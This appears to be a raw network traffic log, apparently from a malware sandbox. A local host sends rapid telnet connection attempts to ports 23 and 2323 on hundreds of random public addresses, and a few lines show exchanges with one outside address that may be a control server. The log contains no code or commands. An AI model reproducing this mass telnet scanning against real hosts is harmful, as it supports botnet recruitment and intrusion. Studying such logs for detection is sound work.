Jul 26, 2024 17:42:00.341573000 CEST	13638	23	192.168.2.15	35.241.49.7
Jul 26, 2024 17:42:00.341588974 CEST	13638	23	192.168.2.15	173.183.38.46
Jul 26, 2024 17:42:00.341588974 CEST	13638	23	192.168.2.15	8.66.93.246
Jul 26, 2024 17:42:00.341593027 CEST	13638	2323	192.168.2.15	46.151.12.36
Jul 26, 2024 17:42:00.341594934 CEST	13638	23	192.168.2.15	103.73.25.158
Jul 26, 2024 17:42:00.341594934 CEST	13638	23	192.168.2.15	117.130.42.209
Jul 26, 2024 17:42:00.341595888 CEST	13638	23	192.168.2.15	13.221.125.200
Jul 26, 2024 17:42:00.341608047 CEST	13638	23	192.168.2.15	183.152.213.173
Jul 26, 2024 17:42:00.341609001 CEST	13638	23	192.168.2.15	74.43.159.118
Jul 26, 2024 17:42:00.341614008 CEST	13638	23	192.168.2.15	183.24.65.17
Jul 26, 2024 17:42:00.341615915 CEST	13638	23	192.168.2.15	184.243.43.59
Jul 26, 2024 17:42:00.341624975 CEST	13638	23	192.168.2.15	142.34.166.220
Jul 26, 2024 17:42:00.341630936 CEST	13638	23	192.168.2.15	196.114.94.135
Jul 26, 2024 17:42:00.341654062 CEST	13638	23	192.168.2.15	186.79.252.201
Jul 26, 2024 17:42:00.341660023 CEST	13638	2323	192.168.2.15	89.140.64.89
Jul 26, 2024 17:42:00.341670036 CEST	13638	23	192.168.2.15	95.164.90.7
Jul 26, 2024 17:42:00.341670036 CEST	13638	23	192.168.2.15	123.135.53.161
Jul 26, 2024 17:42:00.341681957 CEST	13638	23	192.168.2.15	123.231.175.123
Jul 26, 2024 17:42:00.341686964 CEST	13638	23	192.168.2.15	149.132.173.245
Jul 26, 2024 17:42:00.341695070 CEST	13638	23	192.168.2.15	128.163.75.226
Jul 26, 2024 17:42:00.341700077 CEST	13638	23	192.168.2.15	95.147.204.45
Jul 26, 2024 17:42:00.341702938 CEST	13638	23	192.168.2.15	44.227.31.150
Jul 26, 2024 17:42:00.341711044 CEST	13638	23	192.168.2.15	220.165.2.222
Jul 26, 2024 17:42:00.341727018 CEST	13638	23	192.168.2.15	27.165.3.219
Jul 26, 2024 17:42:00.341727018 CEST	13638	23	192.168.2.15	181.8.105.48
Jul 26, 2024 17:42:00.341730118 CEST	13638	2323	192.168.2.15	176.17.155.110
Jul 26, 2024 17:42:00.341742992 CEST	13638	23	192.168.2.15	217.92.222.119
Jul 26, 2024 17:42:00.341742992 CEST	13638	23	192.168.2.15	216.49.62.98
Jul 26, 2024 17:42:00.341758966 CEST	13638	23	192.168.2.15	169.205.196.72
Jul 26, 2024 17:42:00.341764927 CEST	13638	23	192.168.2.15	211.128.212.208
Jul 26, 2024 17:42:00.341764927 CEST	13638	23	192.168.2.15	103.226.38.32
Jul 26, 2024 17:42:00.341764927 CEST	13638	23	192.168.2.15	57.88.212.193
Jul 26, 2024 17:42:00.341790915 CEST	13638	23	192.168.2.15	169.144.229.132
Jul 26, 2024 17:42:00.341804981 CEST	13638	23	192.168.2.15	2.100.90.131
Jul 26, 2024 17:42:00.341804981 CEST	13638	23	192.168.2.15	18.229.107.171
Jul 26, 2024 17:42:00.341816902 CEST	13638	23	192.168.2.15	131.242.152.236
Jul 26, 2024 17:42:00.341819048 CEST	13638	23	192.168.2.15	66.210.250.120
Jul 26, 2024 17:42:00.341826916 CEST	13638	23	192.168.2.15	204.87.94.168
Jul 26, 2024 17:42:00.341828108 CEST	13638	23	192.168.2.15	36.226.233.51
Jul 26, 2024 17:42:00.341828108 CEST	13638	23	192.168.2.15	150.109.165.198
Jul 26, 2024 17:42:00.341835022 CEST	13638	2323	192.168.2.15	113.126.12.24
Jul 26, 2024 17:42:00.341836929 CEST	13638	23	192.168.2.15	170.232.164.74
Jul 26, 2024 17:42:00.341839075 CEST	13638	23	192.168.2.15	144.9.189.210
Jul 26, 2024 17:42:00.341839075 CEST	13638	23	192.168.2.15	39.42.16.23
Jul 26, 2024 17:42:00.341845989 CEST	13638	2323	192.168.2.15	119.134.10.118
Jul 26, 2024 17:42:00.341862917 CEST	13638	23	192.168.2.15	40.115.235.255
Jul 26, 2024 17:42:00.341865063 CEST	13638	23	192.168.2.15	117.146.187.187
Jul 26, 2024 17:42:00.341867924 CEST	13638	23	192.168.2.15	98.169.253.138
Jul 26, 2024 17:42:00.341877937 CEST	13638	23	192.168.2.15	173.43.63.198
Jul 26, 2024 17:42:00.341892958 CEST	13638	23	192.168.2.15	63.205.5.26
Jul 26, 2024 17:42:00.341892958 CEST	13638	23	192.168.2.15	63.200.146.227
Jul 26, 2024 17:42:00.341896057 CEST	13638	23	192.168.2.15	58.9.175.12
Jul 26, 2024 17:42:00.341917038 CEST	13638	23	192.168.2.15	76.26.37.53
Jul 26, 2024 17:42:00.341917038 CEST	13638	23	192.168.2.15	8.176.183.59
Jul 26, 2024 17:42:00.341921091 CEST	13638	2323	192.168.2.15	87.9.84.3
Jul 26, 2024 17:42:00.341939926 CEST	13638	23	192.168.2.15	129.169.230.45
Jul 26, 2024 17:42:00.341939926 CEST	13638	23	192.168.2.15	158.127.24.200
Jul 26, 2024 17:42:00.341943979 CEST	13638	23	192.168.2.15	181.149.26.92
Jul 26, 2024 17:42:00.341948986 CEST	13638	23	192.168.2.15	168.233.185.134
Jul 26, 2024 17:42:00.341948986 CEST	13638	23	192.168.2.15	218.117.173.150
Jul 26, 2024 17:42:00.341953039 CEST	13638	23	192.168.2.15	217.218.124.243
Jul 26, 2024 17:42:00.341967106 CEST	13638	23	192.168.2.15	49.172.163.143
Jul 26, 2024 17:42:00.341968060 CEST	13638	23	192.168.2.15	94.48.18.134
Jul 26, 2024 17:42:00.341968060 CEST	13638	23	192.168.2.15	133.31.225.187
Jul 26, 2024 17:42:00.341969967 CEST	13638	23	192.168.2.15	57.248.100.135
Jul 26, 2024 17:42:00.341969967 CEST	13638	23	192.168.2.15	210.74.51.255
Jul 26, 2024 17:42:00.341969967 CEST	13638	23	192.168.2.15	85.223.2.226
Jul 26, 2024 17:42:00.341972113 CEST	13638	2323	192.168.2.15	17.91.6.147
Jul 26, 2024 17:42:00.341975927 CEST	13638	23	192.168.2.15	65.112.0.10
Jul 26, 2024 17:42:00.341985941 CEST	13638	23	192.168.2.15	53.116.132.192
Jul 26, 2024 17:42:00.341989994 CEST	13638	23	192.168.2.15	175.204.58.150
Jul 26, 2024 17:42:00.341994047 CEST	13638	23	192.168.2.15	67.61.143.113
Jul 26, 2024 17:42:00.342005968 CEST	13638	23	192.168.2.15	208.160.59.99
Jul 26, 2024 17:42:00.342031002 CEST	13638	23	192.168.2.15	86.239.204.37
Jul 26, 2024 17:42:00.342042923 CEST	13638	2323	192.168.2.15	183.230.142.71
Jul 26, 2024 17:42:00.342042923 CEST	13638	23	192.168.2.15	170.116.175.37
Jul 26, 2024 17:42:00.342047930 CEST	13638	23	192.168.2.15	38.121.156.131
Jul 26, 2024 17:42:00.342056990 CEST	13638	23	192.168.2.15	149.253.218.9
Jul 26, 2024 17:42:00.342070103 CEST	13638	23	192.168.2.15	92.64.162.102
Jul 26, 2024 17:42:00.342077017 CEST	13638	23	192.168.2.15	202.93.61.246
Jul 26, 2024 17:42:00.342096090 CEST	13638	23	192.168.2.15	122.49.207.234
Jul 26, 2024 17:42:00.342118025 CEST	13638	23	192.168.2.15	101.230.68.119
Jul 26, 2024 17:42:00.342118979 CEST	13638	2323	192.168.2.15	167.70.207.70
Jul 26, 2024 17:42:00.342118979 CEST	13638	23	192.168.2.15	105.10.192.223
Jul 26, 2024 17:42:00.342119932 CEST	13638	23	192.168.2.15	202.97.74.62
Jul 26, 2024 17:42:00.342119932 CEST	13638	23	192.168.2.15	181.207.233.21
Jul 26, 2024 17:42:00.342120886 CEST	13638	23	192.168.2.15	105.59.34.76
Jul 26, 2024 17:42:00.342124939 CEST	13638	23	192.168.2.15	45.217.155.139
Jul 26, 2024 17:42:00.342139006 CEST	13638	23	192.168.2.15	138.62.43.58
Jul 26, 2024 17:42:00.342139006 CEST	13638	23	192.168.2.15	201.2.218.74
Jul 26, 2024 17:42:00.342156887 CEST	13638	23	192.168.2.15	137.188.174.181
Jul 26, 2024 17:42:00.342196941 CEST	13638	23	192.168.2.15	20.25.111.119
Jul 26, 2024 17:42:00.342200041 CEST	13638	23	192.168.2.15	128.27.76.171
Jul 26, 2024 17:42:00.342214108 CEST	13638	2323	192.168.2.15	123.222.162.20
Jul 26, 2024 17:42:00.342215061 CEST	13638	23	192.168.2.15	51.226.141.21
Jul 26, 2024 17:42:00.342236042 CEST	13638	23	192.168.2.15	144.214.18.89
Jul 26, 2024 17:42:00.342237949 CEST	13638	23	192.168.2.15	64.96.73.150
Jul 26, 2024 17:42:00.342238903 CEST	13638	23	192.168.2.15	1.88.135.110
Jul 26, 2024 17:42:00.342238903 CEST	13638	23	192.168.2.15	126.174.32.61
Jul 26, 2024 17:42:00.342242956 CEST	13638	23	192.168.2.15	112.156.253.239
Jul 26, 2024 17:42:00.342242956 CEST	13638	23	192.168.2.15	185.83.181.200
Jul 26, 2024 17:42:00.342253923 CEST	13638	23	192.168.2.15	139.77.182.85
Jul 26, 2024 17:42:00.342256069 CEST	13638	23	192.168.2.15	48.128.236.27
Jul 26, 2024 17:42:00.342272997 CEST	13638	23	192.168.2.15	32.182.109.189
Jul 26, 2024 17:42:00.342273951 CEST	13638	2323	192.168.2.15	206.144.78.151
Jul 26, 2024 17:42:00.342279911 CEST	13638	23	192.168.2.15	90.176.206.151
Jul 26, 2024 17:42:00.342293024 CEST	13638	23	192.168.2.15	201.221.246.158
Jul 26, 2024 17:42:00.342293978 CEST	13638	23	192.168.2.15	149.218.90.45
Jul 26, 2024 17:42:00.342310905 CEST	13638	23	192.168.2.15	17.72.100.4
Jul 26, 2024 17:42:00.342312098 CEST	13638	23	192.168.2.15	220.80.247.151
Jul 26, 2024 17:42:00.342317104 CEST	13638	23	192.168.2.15	45.7.45.168
Jul 26, 2024 17:42:00.342334032 CEST	13638	23	192.168.2.15	222.189.13.55
Jul 26, 2024 17:42:00.342370033 CEST	13638	2323	192.168.2.15	5.122.88.101
Jul 26, 2024 17:42:00.342371941 CEST	13638	23	192.168.2.15	164.175.20.252
Jul 26, 2024 17:42:00.342371941 CEST	13638	23	192.168.2.15	60.65.137.11
Jul 26, 2024 17:42:00.342372894 CEST	13638	23	192.168.2.15	53.41.194.6
Jul 26, 2024 17:42:00.342374086 CEST	13638	23	192.168.2.15	182.120.216.187
Jul 26, 2024 17:42:00.342375994 CEST	13638	23	192.168.2.15	50.75.178.93
Jul 26, 2024 17:42:00.342376947 CEST	13638	23	192.168.2.15	180.78.66.203
Jul 26, 2024 17:42:00.342387915 CEST	13638	23	192.168.2.15	179.96.132.51
Jul 26, 2024 17:42:00.342391014 CEST	13638	23	192.168.2.15	19.79.75.123
Jul 26, 2024 17:42:00.342391014 CEST	13638	2323	192.168.2.15	197.71.39.230
Jul 26, 2024 17:42:00.342395067 CEST	13638	23	192.168.2.15	44.104.125.221
Jul 26, 2024 17:42:00.342398882 CEST	13638	23	192.168.2.15	64.37.60.125
Jul 26, 2024 17:42:00.342401981 CEST	13638	23	192.168.2.15	189.189.176.11
Jul 26, 2024 17:42:00.342411041 CEST	13638	23	192.168.2.15	192.70.20.46
Jul 26, 2024 17:42:00.342422009 CEST	13638	23	192.168.2.15	203.149.160.129
Jul 26, 2024 17:42:00.342427969 CEST	13638	23	192.168.2.15	57.115.213.227
Jul 26, 2024 17:42:00.342436075 CEST	13638	23	192.168.2.15	90.22.160.20
Jul 26, 2024 17:42:00.342444897 CEST	13638	23	192.168.2.15	85.86.142.207
Jul 26, 2024 17:42:00.342452049 CEST	13638	23	192.168.2.15	75.146.178.226
Jul 26, 2024 17:42:00.342463017 CEST	13638	23	192.168.2.15	189.155.151.125
Jul 26, 2024 17:42:00.342463017 CEST	13638	23	192.168.2.15	188.213.82.206
Jul 26, 2024 17:42:00.342494965 CEST	13638	23	192.168.2.15	162.146.186.197
Jul 26, 2024 17:42:00.342503071 CEST	13638	2323	192.168.2.15	122.231.172.192
Jul 26, 2024 17:42:00.342503071 CEST	13638	23	192.168.2.15	8.122.34.0
Jul 26, 2024 17:42:00.342503071 CEST	13638	23	192.168.2.15	45.255.87.187
Jul 26, 2024 17:42:00.342510939 CEST	13638	23	192.168.2.15	36.3.139.72
Jul 26, 2024 17:42:00.342521906 CEST	13638	23	192.168.2.15	116.206.100.12
Jul 26, 2024 17:42:00.342551947 CEST	13638	23	192.168.2.15	52.30.158.165
Jul 26, 2024 17:42:00.342559099 CEST	13638	23	192.168.2.15	46.146.203.113
Jul 26, 2024 17:42:00.342560053 CEST	13638	23	192.168.2.15	121.255.159.232
Jul 26, 2024 17:42:00.342562914 CEST	13638	23	192.168.2.15	67.118.177.126
Jul 26, 2024 17:42:00.342566967 CEST	13638	23	192.168.2.15	68.137.87.149
Jul 26, 2024 17:42:00.342582941 CEST	13638	2323	192.168.2.15	156.180.247.251
Jul 26, 2024 17:42:00.342591047 CEST	13638	23	192.168.2.15	93.92.200.227
Jul 26, 2024 17:42:00.342609882 CEST	13638	23	192.168.2.15	158.212.240.108
Jul 26, 2024 17:42:00.342617035 CEST	13638	23	192.168.2.15	201.191.191.127
Jul 26, 2024 17:42:00.342617035 CEST	13638	23	192.168.2.15	202.117.152.183
Jul 26, 2024 17:42:00.342638016 CEST	13638	23	192.168.2.15	86.178.39.182
Jul 26, 2024 17:42:00.342638969 CEST	13638	23	192.168.2.15	76.40.231.41
Jul 26, 2024 17:42:00.342654943 CEST	13638	23	192.168.2.15	20.57.156.77
Jul 26, 2024 17:42:00.342667103 CEST	13638	2323	192.168.2.15	164.172.210.107
Jul 26, 2024 17:42:00.342683077 CEST	13638	23	192.168.2.15	87.175.165.202
Jul 26, 2024 17:42:00.342683077 CEST	13638	23	192.168.2.15	113.155.50.29
Jul 26, 2024 17:42:00.342686892 CEST	13638	23	192.168.2.15	152.250.181.212
Jul 26, 2024 17:42:00.342689991 CEST	13638	23	192.168.2.15	211.91.238.21
Jul 26, 2024 17:42:00.342703104 CEST	13638	23	192.168.2.15	174.33.107.14
Jul 26, 2024 17:42:00.342705965 CEST	13638	23	192.168.2.15	86.38.13.47
Jul 26, 2024 17:42:00.342709064 CEST	13638	23	192.168.2.15	181.77.47.88
Jul 26, 2024 17:42:00.342717886 CEST	13638	23	192.168.2.15	52.233.225.161
Jul 26, 2024 17:42:00.342751026 CEST	13638	23	192.168.2.15	150.139.55.88
Jul 26, 2024 17:42:00.342782021 CEST	13638	23	192.168.2.15	5.140.178.211
Jul 26, 2024 17:42:00.342784882 CEST	13638	23	192.168.2.15	188.219.249.185
Jul 26, 2024 17:42:00.342784882 CEST	13638	23	192.168.2.15	125.196.241.203
Jul 26, 2024 17:42:00.342784882 CEST	13638	23	192.168.2.15	193.212.143.9
Jul 26, 2024 17:42:00.342784882 CEST	13638	23	192.168.2.15	112.210.38.85
Jul 26, 2024 17:42:00.342788935 CEST	13638	23	192.168.2.15	62.244.201.127
Jul 26, 2024 17:42:00.342788935 CEST	13638	23	192.168.2.15	116.0.195.39
Jul 26, 2024 17:42:00.342791080 CEST	13638	2323	192.168.2.15	36.95.208.74
Jul 26, 2024 17:42:00.342796087 CEST	13638	23	192.168.2.15	162.121.68.216
Jul 26, 2024 17:42:00.342801094 CEST	13638	23	192.168.2.15	86.225.103.88
Jul 26, 2024 17:42:00.342811108 CEST	13638	23	192.168.2.15	122.65.2.241
Jul 26, 2024 17:42:00.342817068 CEST	13638	23	192.168.2.15	91.233.238.189
Jul 26, 2024 17:42:00.342833996 CEST	13638	2323	192.168.2.15	167.236.223.25
Jul 26, 2024 17:42:00.342843056 CEST	13638	23	192.168.2.15	163.250.118.6
Jul 26, 2024 17:42:00.342864037 CEST	13638	23	192.168.2.15	31.4.161.15
Jul 26, 2024 17:42:00.342864990 CEST	13638	23	192.168.2.15	198.200.22.177
Jul 26, 2024 17:42:00.342875957 CEST	13638	23	192.168.2.15	116.200.220.10
Jul 26, 2024 17:42:00.342879057 CEST	13638	23	192.168.2.15	141.132.89.41
Jul 26, 2024 17:42:00.342916012 CEST	13638	23	192.168.2.15	180.161.139.167
Jul 26, 2024 17:42:00.342916965 CEST	13638	23	192.168.2.15	9.68.248.147
Jul 26, 2024 17:42:00.342916965 CEST	13638	23	192.168.2.15	128.129.76.212
Jul 26, 2024 17:42:00.342932940 CEST	13638	23	192.168.2.15	67.74.60.245
Jul 26, 2024 17:42:00.342936039 CEST	13638	23	192.168.2.15	44.254.223.244
Jul 26, 2024 17:42:00.342936039 CEST	13638	2323	192.168.2.15	58.223.143.234
Jul 26, 2024 17:42:00.342955112 CEST	13638	23	192.168.2.15	75.154.239.28
Jul 26, 2024 17:42:00.342973948 CEST	13638	23	192.168.2.15	12.245.92.32
Jul 26, 2024 17:42:00.342976093 CEST	13638	23	192.168.2.15	150.242.75.194
Jul 26, 2024 17:42:00.342976093 CEST	13638	23	192.168.2.15	84.84.57.3
Jul 26, 2024 17:42:00.342986107 CEST	13638	23	192.168.2.15	135.191.12.185
Jul 26, 2024 17:42:00.342986107 CEST	13638	23	192.168.2.15	143.151.21.155
Jul 26, 2024 17:42:00.342986107 CEST	13638	23	192.168.2.15	64.96.6.114
Jul 26, 2024 17:42:00.342986107 CEST	13638	23	192.168.2.15	20.0.194.227
Jul 26, 2024 17:42:00.343012094 CEST	13638	23	192.168.2.15	65.137.59.106
Jul 26, 2024 17:42:00.343014956 CEST	13638	23	192.168.2.15	97.234.115.213
Jul 26, 2024 17:42:00.343017101 CEST	13638	2323	192.168.2.15	210.207.223.191
Jul 26, 2024 17:42:00.343019962 CEST	13638	23	192.168.2.15	204.141.255.226
Jul 26, 2024 17:42:00.343041897 CEST	13638	23	192.168.2.15	145.105.6.82
Jul 26, 2024 17:42:00.343041897 CEST	13638	23	192.168.2.15	202.203.141.86
Jul 26, 2024 17:42:00.343072891 CEST	13638	23	192.168.2.15	13.233.64.197
Jul 26, 2024 17:42:00.343072891 CEST	13638	23	192.168.2.15	124.83.205.249
Jul 26, 2024 17:42:00.343081951 CEST	13638	23	192.168.2.15	124.195.135.122
Jul 26, 2024 17:42:00.343092918 CEST	13638	2323	192.168.2.15	125.149.171.194
Jul 26, 2024 17:42:00.343103886 CEST	13638	23	192.168.2.15	71.254.250.168
Jul 26, 2024 17:42:00.343106985 CEST	13638	23	192.168.2.15	222.255.147.110
Jul 26, 2024 17:42:00.343117952 CEST	13638	23	192.168.2.15	150.253.113.191
Jul 26, 2024 17:42:00.343118906 CEST	13638	23	192.168.2.15	167.1.151.63
Jul 26, 2024 17:42:00.343120098 CEST	13638	23	192.168.2.15	58.181.181.174
Jul 26, 2024 17:42:00.343128920 CEST	13638	23	192.168.2.15	98.48.158.140
Jul 26, 2024 17:42:00.343138933 CEST	13638	23	192.168.2.15	73.190.15.116
Jul 26, 2024 17:42:00.343161106 CEST	13638	23	192.168.2.15	58.100.219.56
Jul 26, 2024 17:42:00.343185902 CEST	13638	23	192.168.2.15	45.161.234.102
Jul 26, 2024 17:42:00.343185902 CEST	13638	23	192.168.2.15	60.10.69.95
Jul 26, 2024 17:42:00.343200922 CEST	13638	23	192.168.2.15	72.90.54.68
Jul 26, 2024 17:42:00.343202114 CEST	13638	23	192.168.2.15	73.49.39.23
Jul 26, 2024 17:42:00.343202114 CEST	13638	2323	192.168.2.15	74.22.7.237
Jul 26, 2024 17:42:00.343202114 CEST	13638	23	192.168.2.15	211.81.15.118
Jul 26, 2024 17:42:00.343209028 CEST	13638	23	192.168.2.15	94.165.176.131
Jul 26, 2024 17:42:00.343209028 CEST	13638	23	192.168.2.15	128.41.190.122
Jul 26, 2024 17:42:00.343239069 CEST	13638	23	192.168.2.15	180.186.108.213
Jul 26, 2024 17:42:00.343241930 CEST	13638	23	192.168.2.15	198.79.185.112
Jul 26, 2024 17:42:00.343241930 CEST	13638	2323	192.168.2.15	221.9.120.49
Jul 26, 2024 17:42:00.343244076 CEST	13638	23	192.168.2.15	23.8.205.205
Jul 26, 2024 17:42:00.343244076 CEST	13638	23	192.168.2.15	197.182.118.144
Jul 26, 2024 17:42:00.343267918 CEST	13638	23	192.168.2.15	45.107.51.152
Jul 26, 2024 17:42:00.343267918 CEST	13638	23	192.168.2.15	41.240.72.41
Jul 26, 2024 17:42:00.343275070 CEST	13638	23	192.168.2.15	42.36.162.151
Jul 26, 2024 17:42:00.343285084 CEST	13638	23	192.168.2.15	130.158.180.97
Jul 26, 2024 17:42:00.343283892 CEST	13638	23	192.168.2.15	72.55.209.65
Jul 26, 2024 17:42:00.343285084 CEST	13638	23	192.168.2.15	197.201.32.232
Jul 26, 2024 17:42:00.343286037 CEST	13638	23	192.168.2.15	5.166.232.55
Jul 26, 2024 17:42:00.343290091 CEST	13638	23	192.168.2.15	136.82.113.189
Jul 26, 2024 17:42:00.343290091 CEST	13638	23	192.168.2.15	141.129.66.86
Jul 26, 2024 17:42:00.343308926 CEST	13638	2323	192.168.2.15	212.144.165.134
Jul 26, 2024 17:42:00.343317032 CEST	13638	23	192.168.2.15	132.188.14.108
Jul 26, 2024 17:42:00.343317032 CEST	13638	23	192.168.2.15	47.35.113.204
Jul 26, 2024 17:42:00.343334913 CEST	13638	23	192.168.2.15	219.28.221.9
Jul 26, 2024 17:42:00.343358994 CEST	13638	23	192.168.2.15	39.54.56.167
Jul 26, 2024 17:42:00.343358994 CEST	13638	23	192.168.2.15	205.76.223.13
Jul 26, 2024 17:42:00.343379021 CEST	13638	23	192.168.2.15	212.76.198.206
Jul 26, 2024 17:42:00.343379974 CEST	13638	23	192.168.2.15	24.3.33.158
Jul 26, 2024 17:42:00.343386889 CEST	13638	2323	192.168.2.15	94.33.121.228
Jul 26, 2024 17:42:00.343391895 CEST	13638	23	192.168.2.15	86.14.230.103
Jul 26, 2024 17:42:00.343391895 CEST	13638	23	192.168.2.15	169.130.221.121
Jul 26, 2024 17:42:00.343400955 CEST	13638	23	192.168.2.15	208.191.79.235
Jul 26, 2024 17:42:00.343400955 CEST	13638	23	192.168.2.15	126.127.174.118
Jul 26, 2024 17:42:00.343401909 CEST	13638	23	192.168.2.15	192.55.39.221
Jul 26, 2024 17:42:00.343410969 CEST	13638	23	192.168.2.15	79.60.231.117
Jul 26, 2024 17:42:00.343439102 CEST	13638	23	192.168.2.15	92.237.197.62
Jul 26, 2024 17:42:00.343456030 CEST	13638	23	192.168.2.15	170.144.192.55
Jul 26, 2024 17:42:00.343456030 CEST	13638	23	192.168.2.15	17.79.249.56
Jul 26, 2024 17:42:00.343472004 CEST	13638	23	192.168.2.15	37.222.31.90
Jul 26, 2024 17:42:00.343477011 CEST	13638	2323	192.168.2.15	95.244.155.190
Jul 26, 2024 17:42:00.343487024 CEST	13638	23	192.168.2.15	130.222.26.226
Jul 26, 2024 17:42:00.343489885 CEST	13638	23	192.168.2.15	150.139.30.214
Jul 26, 2024 17:42:00.343498945 CEST	13638	23	192.168.2.15	53.79.119.48
Jul 26, 2024 17:42:00.343501091 CEST	13638	23	192.168.2.15	100.29.129.188
Jul 26, 2024 17:42:00.343514919 CEST	13638	23	192.168.2.15	136.82.70.56
Jul 26, 2024 17:42:00.343528032 CEST	13638	23	192.168.2.15	160.3.160.39
Jul 26, 2024 17:42:00.343534946 CEST	13638	23	192.168.2.15	100.192.117.138
Jul 26, 2024 17:42:00.343565941 CEST	13638	23	192.168.2.15	130.206.196.204
Jul 26, 2024 17:42:00.343565941 CEST	13638	23	192.168.2.15	189.39.84.0
Jul 26, 2024 17:42:00.343566895 CEST	13638	2323	192.168.2.15	18.49.80.66
Jul 26, 2024 17:42:00.343568087 CEST	13638	23	192.168.2.15	147.67.34.242
Jul 26, 2024 17:42:00.343568087 CEST	13638	23	192.168.2.15	142.239.89.123
Jul 26, 2024 17:42:00.343584061 CEST	13638	23	192.168.2.15	193.65.165.159
Jul 26, 2024 17:42:00.343595028 CEST	13638	23	192.168.2.15	117.193.79.144
Jul 26, 2024 17:42:00.343601942 CEST	13638	23	192.168.2.15	178.12.221.136
Jul 26, 2024 17:42:00.343601942 CEST	13638	23	192.168.2.15	163.202.11.169
Jul 26, 2024 17:42:00.343616962 CEST	13638	23	192.168.2.15	123.58.94.189
Jul 26, 2024 17:42:00.343626022 CEST	13638	23	192.168.2.15	206.69.5.46
Jul 26, 2024 17:42:00.343631983 CEST	13638	23	192.168.2.15	183.30.78.185
Jul 26, 2024 17:42:00.343655109 CEST	13638	23	192.168.2.15	87.54.137.113
Jul 26, 2024 17:42:00.343655109 CEST	13638	23	192.168.2.15	64.254.176.231
Jul 26, 2024 17:42:00.343656063 CEST	13638	23	192.168.2.15	165.77.108.74
Jul 26, 2024 17:42:00.343656063 CEST	13638	2323	192.168.2.15	115.37.99.13
Jul 26, 2024 17:42:00.343667984 CEST	13638	23	192.168.2.15	1.213.184.115
Jul 26, 2024 17:42:00.343679905 CEST	13638	23	192.168.2.15	204.76.111.114
Jul 26, 2024 17:42:00.343691111 CEST	13638	23	192.168.2.15	152.199.153.27
Jul 26, 2024 17:42:00.343698025 CEST	13638	23	192.168.2.15	167.70.80.42
Jul 26, 2024 17:42:00.343715906 CEST	13638	23	192.168.2.15	25.74.183.34
Jul 26, 2024 17:42:00.343724012 CEST	13638	2323	192.168.2.15	57.42.34.175
Jul 26, 2024 17:42:00.343734980 CEST	13638	23	192.168.2.15	42.218.128.104
Jul 26, 2024 17:42:00.343744993 CEST	13638	23	192.168.2.15	97.196.81.148
Jul 26, 2024 17:42:00.343749046 CEST	13638	23	192.168.2.15	123.233.159.20
Jul 26, 2024 17:42:00.343749046 CEST	13638	23	192.168.2.15	2.222.108.43
Jul 26, 2024 17:42:00.343756914 CEST	13638	23	192.168.2.15	71.225.60.39
Jul 26, 2024 17:42:00.343769073 CEST	13638	23	192.168.2.15	1.69.135.245
Jul 26, 2024 17:42:00.343770981 CEST	13638	23	192.168.2.15	74.54.188.101
Jul 26, 2024 17:42:00.343785048 CEST	13638	23	192.168.2.15	62.7.201.77
Jul 26, 2024 17:42:00.343786955 CEST	13638	23	192.168.2.15	48.117.145.58
Jul 26, 2024 17:42:00.343801975 CEST	13638	23	192.168.2.15	152.227.134.133
Jul 26, 2024 17:42:00.343803883 CEST	13638	23	192.168.2.15	137.170.83.82
Jul 26, 2024 17:42:00.343803883 CEST	13638	2323	192.168.2.15	134.155.127.173
Jul 26, 2024 17:42:00.343825102 CEST	13638	23	192.168.2.15	1.238.78.0
Jul 26, 2024 17:42:00.343826056 CEST	13638	23	192.168.2.15	189.50.67.247
Jul 26, 2024 17:42:00.343827009 CEST	13638	23	192.168.2.15	91.247.11.80
Jul 26, 2024 17:42:00.343851089 CEST	13638	23	192.168.2.15	98.60.2.193
Jul 26, 2024 17:42:00.343851089 CEST	13638	23	192.168.2.15	199.13.169.169
Jul 26, 2024 17:42:00.343858957 CEST	13638	23	192.168.2.15	222.236.121.159
Jul 26, 2024 17:42:00.343872070 CEST	13638	23	192.168.2.15	94.83.74.140
Jul 26, 2024 17:42:00.343883038 CEST	13638	23	192.168.2.15	85.56.10.114
Jul 26, 2024 17:42:00.343904972 CEST	13638	23	192.168.2.15	202.163.175.90
Jul 26, 2024 17:42:00.343904972 CEST	13638	2323	192.168.2.15	99.167.11.37
Jul 26, 2024 17:42:00.343919992 CEST	13638	23	192.168.2.15	17.25.116.100
Jul 26, 2024 17:42:00.343923092 CEST	13638	23	192.168.2.15	140.143.139.29
Jul 26, 2024 17:42:00.343930006 CEST	13638	23	192.168.2.15	95.5.155.136
Jul 26, 2024 17:42:00.343930006 CEST	13638	23	192.168.2.15	109.230.27.88
Jul 26, 2024 17:42:00.343934059 CEST	13638	23	192.168.2.15	69.143.241.2
Jul 26, 2024 17:42:00.343957901 CEST	13638	23	192.168.2.15	126.70.108.243
Jul 26, 2024 17:42:00.343955994 CEST	13638	23	192.168.2.15	152.169.173.12
Jul 26, 2024 17:42:00.343955994 CEST	13638	23	192.168.2.15	170.254.235.77
Jul 26, 2024 17:42:00.343975067 CEST	13638	23	192.168.2.15	192.202.175.250
Jul 26, 2024 17:42:00.343976974 CEST	13638	2323	192.168.2.15	105.171.115.24
Jul 26, 2024 17:42:00.343991041 CEST	13638	23	192.168.2.15	223.3.17.2
Jul 26, 2024 17:42:00.344002962 CEST	13638	23	192.168.2.15	129.68.217.201
Jul 26, 2024 17:42:00.344003916 CEST	13638	23	192.168.2.15	59.31.5.111
Jul 26, 2024 17:42:00.344031096 CEST	13638	23	192.168.2.15	98.83.148.210
Jul 26, 2024 17:42:00.344032049 CEST	38241	46390	94.156.71.55	192.168.2.15
Jul 26, 2024 17:42:00.344036102 CEST	13638	23	192.168.2.15	222.160.210.157
Jul 26, 2024 17:42:00.344055891 CEST	13638	23	192.168.2.15	36.169.82.109
Jul 26, 2024 17:42:00.344057083 CEST	13638	23	192.168.2.15	17.50.215.192
Jul 26, 2024 17:42:00.344058037 CEST	13638	2323	192.168.2.15	83.233.152.2
Jul 26, 2024 17:42:00.344084024 CEST	46390	38241	192.168.2.15	94.156.71.55
Jul 26, 2024 17:42:00.344099045 CEST	13638	23	192.168.2.15	153.22.92.82
Jul 26, 2024 17:42:00.344110012 CEST	13638	23	192.168.2.15	118.203.121.114
Jul 26, 2024 17:42:00.344122887 CEST	13638	23	192.168.2.15	180.157.21.123
Jul 26, 2024 17:42:00.344125986 CEST	13638	23	192.168.2.15	53.105.75.238
Jul 26, 2024 17:42:00.344137907 CEST	13638	23	192.168.2.15	178.220.27.49
Jul 26, 2024 17:42:00.344149113 CEST	13638	23	192.168.2.15	76.13.35.188
Jul 26, 2024 17:42:00.344149113 CEST	13638	23	192.168.2.15	161.181.218.116
